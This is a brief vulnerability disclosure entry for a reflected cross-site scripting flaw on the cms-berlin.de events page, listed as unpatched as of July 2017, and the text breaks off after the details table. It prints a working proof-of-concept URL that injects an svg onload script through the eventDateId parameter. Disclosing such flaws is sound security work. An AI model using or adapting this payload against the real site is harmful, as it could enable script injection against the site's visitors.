cms-berlin.de XSS vulnerability

Vulnerable URL: http://www.cms-berlin.de/en/VisitorService/SupportingProgrammeEvents/CMSForum/EventDetail.jsp?eventDateId=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability...